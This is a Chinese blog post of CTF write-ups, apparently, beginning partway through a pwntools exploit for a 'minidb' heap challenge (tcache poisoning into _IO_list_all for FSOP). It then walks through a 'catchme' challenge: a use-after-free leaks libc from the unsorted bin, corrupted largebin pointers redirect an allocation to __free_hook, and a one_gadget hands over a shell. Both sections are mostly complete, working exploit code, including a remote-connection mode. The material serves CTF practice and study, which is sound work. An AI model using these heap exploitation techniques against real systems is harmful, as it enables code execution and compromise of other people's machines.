bucket_key = p64(b_chunk >> 12).split(b"\x00")[0]
poison_target = libc_base + libc.sym["_IO_list_all"] - 0x10
poison_key = p64(poison_target ^ (b_chunk >> 12)).split(b"\x00")[0]
if not sane_token(bucket_key):
raise ValueError(f"bucket key contains a delimiter byte: {bucket_key!r}")
if not sane_token(poison_key):
raise ValueError(f"poison key contains a delimiter byte: {poison_key!r}")
log.info(f"heap_base = {heap_base:#x}")
log.info(f"libc_base = {libc_base:#x}")
log.info(f"B chunk = {b_chunk:#x}")
log.info(f"fake FILE = {fake_file:#x}")
log.info(f"bucket key = {bucket_key!r}")
log.info(f"poison key = {poison_key!r}")
fake_payload = build_fake_file(libc_base, libc, fake_file)
send_set(io, b"a", b"A" * 0x28)
send_cmd(io, b"MULTI")
# dirty = 1 at tx->dirty when this chunk is later reused as tx metadata
b_payload = b"B" * 0x20 + p32(1) + b"BBBB"
send_set(io, b"a", b_payload)
send_cmd(io, b"CLONE a " + bucket_key)
send_set(io, b"a", b"C" * 0x28)
send_cmd(io, b"EXEC")
# Reuse tx0/A so that MULTI will later pick B as the transaction object.
send_set(io, poison_key, b"P" * 0x28)
send_cmd(io, b"MULTI")
# 1) same-key SET on the alias frees tx=B while tx-active stays set
# 2) next SET rewrites the freed tx chunk's fd via tx->key
send_set(io, bucket_key, fake_payload)
send_set(io, poison_key, b"Q" * 0x80)
# First small SET pops B itself back out of tcache.
send_set(io, poison_key, b"R" * 0x28)
# Second small SET allocates at the poisoned target.
send_set(io, poison_key, p64(fake_file))
return {
"heap_base": heap_base,
"libc_base": libc_base,
"bucket_key": bucket_key,
"poison_key": poison_key,
"fake_file": fake_file,
"target": poison_target,
}
def main():
parser = argparse.ArgumentParser(
description="Local exploit helper for minidb. "
)
parser.add_argument(
"--mode",
choices=["arb-alloc", "fsop-exp"],
default="arb-alloc",
help="arb-alloc stops after proving arbitrary 0x40 allocation; "
"fsop-exp also sends EXIT after writing _IO_list_all.",
)
args = parser.parse_args()
io = process("./pwn")
io.recvuntil(b"> ")
info = proven_arb_alloc(io)
log.success(
"arbitrary 0x40 allocation hit target "
f"{info['target']:#x} (fake FILE @ {info['fake_file']:#x})"
)
if args.mode == "fsop-exp":
io.sendline(b"EXIT")
try:
io.interactive()
finally:
io.close()
return
io.interactive()
if __name__ == "__main__":
main()
catchme
题目概览
程序是一个 6 选项菜单堆题,核心函数如下:
adopt_creature(0xb8e):按类型分配三种大小的 chunk- fox:
malloc(0x430) - hawk:
malloc(0x440) - otter:
calloc(1, 0x48)
- fox:
release_creature(0xd78):free(ptr),但不会清空槽位inspect_tag(0xe40):只允许一次,从ptr + 8打印字符串engrave_tag(0xf4f):最多 3 次,向ptr + 8处读入0x18字节purge_record(0x107d):只把槽位清零,不做free
全局区里有 5 个槽位 shelter_slots(0x202060),再配合一次性 inspect 和 3 次 engrave,可以形成很稳定的 UAF 读写。
这题的关键不是普通的 UAF double free,而是:
- 用
release和purge拆出可复用槽位 - 用唯一一次
inspect从 unsorted bin 泄露 libc - 用两块不同尺寸的大 chunk 分别改
bk / fd_nextsize / bk_nextsize - 借 glibc 2.27 的 bin 整理流程把写原语导到
__free_hook - 最后用一次
free触发 one_gadget
保护情况
从 readelf 可以看出:
- PIE 开启
- NX 开启
- Full RELRO
- 栈上存在 canary
因此思路不会走 GOT 覆写,而是转向 libc hook。
漏洞点
1. free 后槽位不清空
release_creature 只调用 free(shelter_slots[idx]),不会把 shelter_slots[idx] 置零,所以留下悬空指针。
2. purge_record 可以单独清槽
purge_record 只把 shelter_slots[idx] = 0,不会 free。
于是可以做出:
- 先
free - 再
purge - 让这个槽位重新可用
这非常适合反复塞满 tcache。
3. UAF 读写都落在 ptr + 8
inspect_tag打印ptr + 8engrave_tag向ptr + 8写0x18
对已经释放的大块 chunk 来说:
ptr + 0x0对应fdptr + 0x8对应bkptr + 0x10对应fd_nextsizeptr + 0x18对应bk_nextsize
也就是说,虽然不能改 fd,但可以稳定改掉 bk / fd_nextsize / bk_nextsize,这正好够打 glibc 2.27 的 unsorted/largebin 组合攻击。
利用思路
第一步:填满 0x50 tcache
连续 7 次:
- 申请 otter
- 释放 index 0
purgeindex 0
这样 0x50 大小的 tcache 会被填满,后面的小块分配行为更可控。
第二步:用一次 inspect 泄露 unsorted bin
先申请两个 fox(请求大小 0x430,chunk 大小 0x440):
slot0 = Aslot1 = B
然后:
free(A)- 对
slot0做inspect
inspect 实际打印的是 A + 8,对于 unsorted bin chunk 来说这里正好是 bk,能泄露 main_arena 指针。
本题对应偏移是:
libc_base = leak - 0x3ebca0
第三步:再准备两个可控的大 chunk
接着申请两个 hawk(请求大小 0x440,chunk 大小 0x450):
slot2 = Cslot3 = D
然后 free(slot2),使 unsorted 里同时存在两块不同尺寸的大 chunk:
A:0x440C:0x450
此时我们有两份独立的 UAF 写:
- 对
slot2改C的bk - 对
slot0改A的bk / fd_nextsize / bk_nextsize
第四步:打 __free_hook
把两个 large chunk 的链表指针改成下面的形式:
engrave(2, p64(__free_hook - 0x18))
engrave(0, p64(__free_hook - 0x10) + p64(0) + p64(__free_hook - 0x35))
随后再申请一个 otter。
这次小块分配会触发 glibc 2.27 对 unsorted/largebin 的整理过程,最终把新的可写指针导向 __free_hook - 8。
于是:
adopt(3)拿到伪造后的槽位engrave(4, p64(one_gadget))写中__free_hook- 再次
free任意槽位即可触发 hook
这里利用的是 __libc_free 会先检查 __free_hook,再进入正常的 free 流程,所以即使最后一次 free 本身带有异常语义,也能先拿到控制流。
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./catchme", checksec=False)
libc = ELF("./libc-2.27.so", checksec=False)
context.log_level = args.LOG_LEVEL or "info"
HOST = args.HOST or "x.x.x.x"
PORT = int(args.PORT or 8888)
LOADER = args.LD or "/lib64/ld-linux-x86-64.so.2"
LIBPATH = args.LIBPATH or "."
UNSORTED_LEAK_OFF = 0x3EBCA0
ONE_GADGET_OFF = int(args.GADGET, 0) if args.GADGET else 0x4F302
def pick_token2():
if args.TOKEN2:
return int(args.TOKEN2, 0)
if args.LOCAL:
return 0x55
return 0x56
EXPECTED_TOKEN2 = pick_token2()
MAX_TRIES = int(args.TRIES or 0)
def start():
if args.REMOTE:
return remote(HOST, PORT)
argv = [LOADER, "--library-path", LIBPATH, elf.path]
if args.GDB:
return gdb.debug(argv, gdbscript="continue")
return process(argv)
def choose(io, opt):
io.recvuntil(b">>\n")
io.sendline(str(opt).encode())
def adopt(io, kind):
choose(io, 1)
io.recvuntil(b"(3)otter\n")
io.sendline(str(kind).encode())
msg = io.recvline().strip()
token_line = io.recvline().strip()
return msg, token_line
def release(io, idx):
choose(io, 2)
io.recvuntil(b"index:\n")
io.sendline(str(idx).encode())
def inspect(io, idx):
choose(io, 3)
io.recvuntil(b"index:\n")
io.sendline(str(idx).encode())
def engrave(io, idx, data):
choose(io, 4)
io.recvuntil(b"index:\n")
io.sendline(str(idx).encode())
io.recvuntil(b"set tag:\n")
io.send(data)
def purge(io, idx):
choose(io, 6)
io.recvuntil(b"index:\n")
io.sendline(str(idx).encode())
def parse_token2(token_line):
return int(token_line.split(b"token(2):", 1)[1], 16)
def fill_otter_tcache(io):
for _ in range(7):
adopt(io, 3)
release(io, 0)
purge(io, 0)
def build_chain(io):
fill_otter_tcache(io)
adopt(io, 1)
adopt(io, 1)
release(io, 0)
inspect(io, 0)
io.recvuntil(b"tag:")
leak = u64(io.recv(6).ljust(8, b"\x00"))
libc.address = leak - UNSORTED_LEAK_OFF
log.info(f"unsorted leak = {leak:#x}")
log.info(f"libc base = {libc.address:#x}")
_, token_line = adopt(io, 2)
token2 = parse_token2(token_line)
log.info(f"token(2) = {token2:#x}")
if token2 != EXPECTED_TOKEN2:
raise ValueError(f"unexpected token2: {token2:#x}")
adopt(io, 2)
release(io, 2)
free_hook = libc.sym["__free_hook"]
one_gadget = libc.address + ONE_GADGET_OFF
log.info(f"__free_hook = {free_hook:#x}")
log.info(f"one_gadget = {one_gadget:#x}")
# Two different freed large chunks are poisoned so the next tiny
# allocation is redirected to __free_hook-8.
engrave(io, 2, p64(free_hook - 0x18))
engrave(io, 0, p64(free_hook - 0x10) + p64(0) + p64(free_hook - 0x35))
adopt(io, 3)
engrave(io, 4, p64(one_gadget))
# __libc_free checks __free_hook before the normal double-free path.
release(io, 0)
def main():
attempt = 0
while True:
attempt += 1
if MAX_TRIES and attempt > MAX_TRIES:
raise SystemExit("max tries reached")
io = start()
log.info(f"attempt {attempt}")
try:
build_chain(io)
io.interactive()
return
except (EOFError, ValueError) as exc:
log.warning(str(exc))
io.close()
if __name__ == "__main__":
main()
本文来自博客园,作者:{Alexander17},转载请注明原文链接:{https://home.cnblogs.com/u/alexander17}

浙公网安备 33010602011771号